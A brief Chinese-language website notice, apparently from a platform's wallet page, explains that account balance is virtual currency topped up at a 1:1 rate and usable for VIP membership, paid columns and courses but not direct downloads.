
1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值